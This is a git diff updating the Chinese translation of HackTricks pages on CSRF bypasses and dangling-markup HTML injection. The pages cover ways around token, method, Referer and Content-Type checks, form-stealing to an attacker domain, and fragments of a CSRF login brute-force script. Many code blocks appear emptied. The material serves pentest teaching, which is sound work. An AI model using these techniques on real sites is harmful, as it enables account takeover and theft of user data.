-### 防御CSRF攻击 +### 防御 CSRF -可以实施多种对策来防御CSRF攻击: +可以实施几种对策来保护免受 CSRF 攻击: -* [**SameSite cookies**](hacking-with-cookies/#samesite):此属性可防止浏览器将Cookie与跨站请求一起发送。[了解更多关于SameSite cookies的信息](hacking-with-cookies/#samesite)。 -* [**跨域资源共享**](cors-bypass.md):受害站点的CORS策略可能影响攻击的可行性,特别是如果攻击需要读取受害站点的响应。[了解有关CORS绕过的信息](cors-bypass.md)。 +* [**SameSite cookies**](hacking-with-cookies/#samesite):此属性防止浏览器在跨站请求中发送 cookies。[了解更多关于 SameSite cookies](hacking-with-cookies/#samesite)。 +* [**跨源资源共享**](cors-bypass.md):受害者网站的 CORS 策略可能会影响攻击的可行性,特别是当攻击需要读取受害者网站的响应时。[了解 CORS 绕过](cors-bypass.md)。 * **用户验证**:提示用户输入密码或解决验证码可以确认用户的意图。 -* **检查引用者或来源标头**:验证这些标头可以帮助确保请求来自受信任的来源。但是,精心构造URL可能会绕过实施不良的检查,例如: -* 使用`http://mal.net?orig=http://example.com`(URL以受信任的URL结尾) -* 使用`http://example.com.mal.net`(URL以受信任的URL开头) -* **修改参数名称**:更改POST或GET请求中的参数名称可以帮助防止自动化攻击。 -* **CSRF令牌**:在每个会话中加入唯一的CSRF令牌,并要求在后续请求中使用此令牌,可以显著减轻CSRF的风险。通过强制执行CORS可以增强令牌的有效性。 +* **检查引荐或来源头**:验证这些头可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 可以绕过实施不当的检查,例如: +* 使用 `http://mal.net?orig=http://example.com`(URL 以受信任的 URL 结尾) +* 使用 `http://example.com.mal.net`(URL 以受信任的 URL 开头) +* **修改参数名称**:更改 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。 +* **CSRF 令牌**:在每个会话中加入唯一的 CSRF 令牌,并要求在后续请求中使用该令牌,可以显著降低 CSRF 的风险。通过强制实施 CORS,可以增强令牌的有效性。 -理解并实施这些防御措施对于维护Web应用程序的安全性和完整性至关重要。 +理解和实施这些防御措施对于维护 web 应用程序的安全性和完整性至关重要。 ## 防御绕过 -### 从POST到GET +### 从 POST 到 GET -也许您想要滥用的表单准备发送一个**带有CSRF令牌的POST请求**,但是,您应该**检查**是否**GET**也是**有效的**,以及当您发送GET请求时**CSRF令牌是否仍在验证**。 +也许您想要利用的表单准备发送带有 CSRF 令牌的 **POST 请求,但**,您应该 **检查** 如果 **GET** 也是 **有效的**,并且当您发送 GET 请求时 **CSRF 令牌仍在被验证**。 ### 缺少令牌 -应用程序可能会实施一种机制来**验证令牌**是否存在。但是,如果在令牌不存在时完全跳过验证,则会出现漏洞。攻击者可以通过**删除携带令牌的参数**(而不仅仅是其值)来利用这一点。这使他们可以规避验证过程并有效地进行跨站请求伪造(CSRF)攻击。 +应用程序可能会实现一种机制来 **验证令牌**,当它们存在时。然而,如果在令牌缺失时完全跳过验证,就会出现漏洞。攻击者可以通过 **删除携带令牌的参数**,而不仅仅是其值来利用这一点。这使他们能够绕过验证过程,有效地进行跨站请求伪造 (CSRF) 攻击。 -### CSRF令牌未绑定到用户会话 +### CSRF 令牌未与用户会话绑定 -应用程序**未将CSRF令牌绑定到用户会话**会带来重大的**安全风险**。这些系统会对全局池中的令牌进行验证,而不是确保每个令牌都绑定到发起会话。 +未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池** 而不是确保每个令牌与发起会话绑定。 -以下是攻击者如何利用这一点的方法: +攻击者如何利用这一点: -1. 使用自己的帐户**进行身份验证**。 -2. 从全局池中**获取有效的CSRF令牌**。 -3. **使用此令牌**对受害者进行CSRF攻击。 +1. **使用自己的账户进行身份验证**。 +2. **从全局池中获取有效的 CSRF 令牌**。 +3. **在针对受害者的 CSRF 攻击中使用此令牌**。 -这种漏洞允许攻击者代表受害者进行未经授权的请求,利用应用程序的**不足的令牌验证机制**。 +这一漏洞使攻击者能够代表受害者发起未经授权的请求,利用应用程序的 **不充分的令牌验证机制**。 ### 方法绕过 -如果请求使用了一个“**奇怪的**”**方法**,请检查**方法** **覆盖功能**是否有效。例如,如果**使用PUT**方法,您可以尝试**使用POST**方法并**发送**:_https://example.com/my/dear/api/val/num?**\_method=PUT**_ +如果请求使用了一个“**奇怪的**” **方法**,请检查 **方法** **覆盖功能** 是否有效。例如,如果它 **使用 PUT** 方法,您可以尝试 **使用 POST** 方法并 **发送**:_https://example.com/my/dear/api/val/num?**\_method=PUT**_ -这也可以通过在POST请求中发送**\_method参数**或使用**标头**来实现: +这也可以通过在 POST 请求中发送 **\_method 参数** 或使用 **头** 来实现: * _X-HTTP-Method_ * _X-HTTP-Method-Override_ * _X-Method-Override_ -### 自定义标头令牌绕过 +### 自定义头令牌绕过 -如果请求在请求中添加了一个带有**令牌**的**自定义标头**作为**CSRF保护方法**,那么: +如果请求在请求中添加了一个 **自定义头**,并将 **令牌** 作为 **CSRF 保护方法**,那么: -* 在没有**自定义令牌和标头**的情况下测试请求。 -* 使用**完全相同长度但不同令牌**测试请求。 +* 测试不带 **自定义令牌和头** 的请求。 +* 测试请求,使用相同 **长度但不同的令牌**。 -### 通过cookie验证CSRF令牌 +### CSRF 令牌通过 cookie 验证 -应用程序可能通过在cookie和请求参数中复制令牌或通过设置CSRF cookie并验证后端发送的令牌来实现CSRF保护。应用程序通过检查请求参数中的令牌是否与cookie中的值对齐来验证请求。 +应用程序可能通过在 cookie 和请求参数中复制令牌,或通过设置 CSRF cookie 并验证后端发送的令牌是否与 cookie 中的值相对应来实现 CSRF 保护。应用程序通过检查请求参数中的令牌是否与 cookie 中的值对齐来验证请求。 -但是,如果网站存在允许攻击者在受害者浏览器中设置CSRF cookie的缺陷,例如CRLF漏洞,此方法容易受到CSRF攻击。攻击者可以通过加载设置cookie的欺骗性图像,然后发起CSRF攻击来利用这一点。 +然而,如果网站存在漏洞,允许攻击者在受害者的浏览器中设置 CSRF cookie,例如 CRLF 漏洞,则此方法容易受到 CSRF 攻击。攻击者可以通过加载一个欺骗性的图像来设置 cookie,然后发起 CSRF 攻击。 -以下是攻击可能构建的示例: +以下是攻击可能如何构建的示例: ```html @@ -124,20 +125,20 @@ ``` {% hint style="info" %} -请注意,如果 **csrf token 与会话 cookie 相关联**,则此攻击将无效,因为您需要将您的会话设置给受害者,因此您将攻击自己。 +注意,如果**csrf token与会话cookie相关,这个攻击将不起作用**,因为你需要将会话设置为受害者,因此你实际上是在攻击自己。 {% endhint %} ### Content-Type 更改 -根据[**此处**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests),为了**避免预检请求**使用 **POST** 方法,这些是允许的 Content-Type 值: +根据[**这个**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests),为了**避免预检**请求使用**POST**方法,允许的Content-Type值如下: * **`application/x-www-form-urlencoded`** * **`multipart/form-data`** * **`text/plain`** -但是,请注意,**服务器逻辑可能会有所不同**取决于使用的 **Content-Type**,因此您应该尝试提到的值和其他值,如 **`application/json`**_**,**_**`text/xml`**,**`application/xml`**_._ +然而,请注意,**服务器逻辑可能会有所不同**,具体取决于使用的**Content-Type**,因此你应该尝试提到的值以及其他值,如**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ -发送 JSON 数据作为 text/plain 的示例(来自[此处](https://brycec.me/posts/corctf\_2021\_challenges)): +示例(来自[这里](https://brycec.me/posts/corctf\_2021\_challenges))将JSON数据作为text/plain发送: ```html @@ -150,23 +151,23 @@ form.submit(); ``` -### 绕过预检请求以获取JSON数据 +### 绕过 JSON 数据的预检请求 -在尝试通过POST请求发送JSON数据时,在HTML表单中使用 `Content-Type: application/json` 是不直接可能的。同样,利用 `XMLHttpRequest` 发送这种内容类型会启动一个预检请求。尽管如此,仍然有策略可以潜在地绕过这种限制,并检查服务器是否处理JSON数据,而不考虑Content-Type: +在尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 `Content-Type: application/json` 是不直接可能的。同样,利用 `XMLHttpRequest` 发送此内容类型会启动预检请求。然而,有一些策略可以潜在地绕过此限制,并检查服务器是否处理 JSON 数据而不考虑 Content-Type: -1. **使用替代内容类型**:通过在表单中设置 `enctype="text/plain"`,使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否使用数据,而不考虑Content-Type。 -2. **修改内容类型**:为了避免预检请求,同时确保服务器将内容识别为JSON,您可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,则可能会被正确处理。 -3. **SWF Flash文件利用**:一种较不常见但可行的方法涉及使用SWF Flash文件来绕过此类限制。要深入了解这种技术,请参考[此文章](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。 +1. **使用替代内容类型**:通过在表单中设置 `enctype="text/plain"` 来使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否利用数据而不考虑 Content-Type。 +2. **修改内容类型**:为了避免预检请求,同时确保服务器将内容识别为 JSON,您可以发送 `Content-Type: text/plain; application/json` 的数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,则可能会被正确处理。 +3. **SWF Flash 文件利用**:一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解,请参阅 [这篇文章](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。 -### 绕过引用者/来源检查 +### 引用 / 来源检查绕过 -**避免引用者头部** +**避免引用头** -应用程序可能仅在存在时验证 'Referer' 头部。为了防止浏览器发送此头部,可以使用以下HTML meta标签: +应用程序可能仅在 'Referer' 头存在时进行验证。为了防止浏览器发送此头,可以使用以下 HTML 元标签: ```xml ``` -这样可以确保省略“Referer”标头,从而可能绕过某些应用程序中的验证检查。 +这确保了“Referer”头被省略,从而可能绕过某些应用程序中的验证检查。 **正则表达式绕过** @@ -174,7 +175,7 @@ form.submit(); [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} -要在URL中设置服务器的域名,以便Referrer将其发送到参数中,您可以执行: +要在Referrer将要在参数中发送的URL中设置服务器的域名,可以执行: ```html @@ -193,25 +194,25 @@ document.forms[0].submit(); ``` -### **HEAD方法绕过** +### **HEAD 方法绕过** -[**这篇CTF解密**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了[Oak的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为**将HEAD请求处理为无响应主体的GET请求** - 这是一个常见的解决方法,不仅仅适用于Oak。与处理HEAD请求的特定处理程序不同,它们**只是交给GET处理程序,但应用程序会删除响应主体**。 +[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了[Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为**将 HEAD 请求作为 GET 请求处理**,且没有响应体——这是一种常见的变通方法,并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求,而是**直接交给 GET 处理程序,但应用程序只是移除了响应体**。 -因此,如果GET请求受限,您可以**发送一个将被处理为GET请求的HEAD请求**。 +因此,如果 GET 请求受到限制,你可以**发送一个将被处理为 GET 请求的 HEAD 请求**。 ## **利用示例** -### **窃取CSRF令牌** +### **提取 CSRF 令牌** -如果正在使用**CSRF令牌**作为**防御**,您可以尝试**滥用[XSS](xss-cross-site-scripting/#xss-stealing-csrf-tokens)漏洞或[悬挂标记](dangling-markup-html-scriptless-injection/)漏洞**来**窃取**它。 +如果使用了**CSRF 令牌**作为**防御**,你可以尝试通过利用[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)漏洞或[**悬挂标记**](dangling-markup-html-scriptless-injection/)漏洞来**提取它**。 -### **使用HTML标签进行GET** +### **使用 HTML 标签的 GET** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` -其他可以用来自动发送GET请求的HTML5标签有: +其他可以用来自动发送 GET 请求的 HTML5 标签包括: ```html @@ -342,7 +343,7 @@ body += "--" + boundary + "--"; //xhr.send(body); xhr.sendAsBinary(body); ``` -### 在iframe内部发起表单POST请求 +### 从 iframe 内部发送表单 POST 请求 ```html <--! expl.html --> @@ -445,7 +446,7 @@ document.forms[0].submit.click(); } ``` -### **窃取令牌并使用2个iframe发送** +### **窃取令牌并使用 2 个 iframe 发送** ```html ``` -### 使用 Socket.IO 进行 CSRF +### CSRF与Socket.IO ```html ``` -## CSRF登录暴力破解 +## CSRF 登录暴力破解 -该代码可用于使用CSRF令牌对登录表单进行暴力破解(还使用了头部X-Forwarded-For尝试绕过可能的IP黑名单): +该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头来尝试绕过可能的 IP 黑名单): ```python import request import re @@ -569,12 +570,12 @@ with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` -## 工具 +## Tools * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) * [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) -## 参考资料 +## References * [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) * [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) @@ -585,15 +586,30 @@ login(USER, line.strip())
-加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流! +加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流! **黑客见解**\ -参与深入探讨黑客行为的刺激和挑战的内容 +参与深入探讨黑客的刺激与挑战的内容 **实时黑客新闻**\ -通过实时新闻和见解了解快节奏的黑客世界 +通过实时新闻和见解,跟上快速变化的黑客世界 **最新公告**\ -了解最新的赏金计划发布和重要平台更新 +了解最新的漏洞赏金计划和重要平台更新 -**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作! +**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作! + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。 + +
+{% endhint %} diff --git a/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/pentesting-web/dangling-markup-html-scriptless-injection/README.md index ce3086bc5..982215666 100644 --- a/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -1,106 +1,90 @@ # Dangling Markup - HTML scriptless injection +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} ## 简介 -当发现**HTML注入**时,此技术可用于从用户那里提取信息。如果您**找不到利用**[**XSS**](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标记**,则此技术非常有用。\ -如果某些**秘密以明文保存**在HTML中,您想要**从客户端中提取**它,或者您想要误导某些脚本执行,这也很有用。 +此技术可用于在发现 **HTML 注入** 时从用户提取信息。如果你 **找不到任何利用** [**XSS** ](../xss-cross-site-scripting/) 的方法,但可以 **注入一些 HTML 标签**,这将非常有用。\ +如果某些 **秘密以明文形式** 保存在 HTML 中,并且你想从客户端 **提取** 它,或者如果你想误导某些脚本执行,这也很有用。 -这里讨论的几种技术可以用于通过意想不到的方式(html标记、CSS、http-meta标记、表单、base等)**窃取信息**,从而绕过一些[**内容安全策略**](../content-security-policy-csp-bypass/)。 +这里提到的几种技术可以通过以意想不到的方式(html 标签、CSS、http-meta 标签、表单、base...)提取信息来绕过某些 [**内容安全策略**](../content-security-policy-csp-bypass/)。 ## 主要应用 -### 窃取明文秘密 +### 偷取明文秘密 -如果您注入 `test ``` - -### 窃取表单 - +### 偷取表单 ```html ``` +然后,发送数据到路径的表单(如 `
`)将把数据发送到恶意域名。 -然后,发送数据到路径的表单(如 ``)将发送数据到恶意域。 +### Stealing forms 2 -### 窃取表单 2 +设置表单头:`` 这将覆盖下一个表单头,所有来自表单的数据将被发送给攻击者。 -设置一个表单头部:`` 这将覆盖下一个表单头部,表单中的所有数据将被发送给攻击者。 - -### 窃取表单 3 - -按钮可以使用属性 "formaction" 更改表单信息将被发送到的 URL: +### Stealing forms 3 +按钮可以通过属性 "formaction" 更改信息将要发送到的表单的 URL: ```html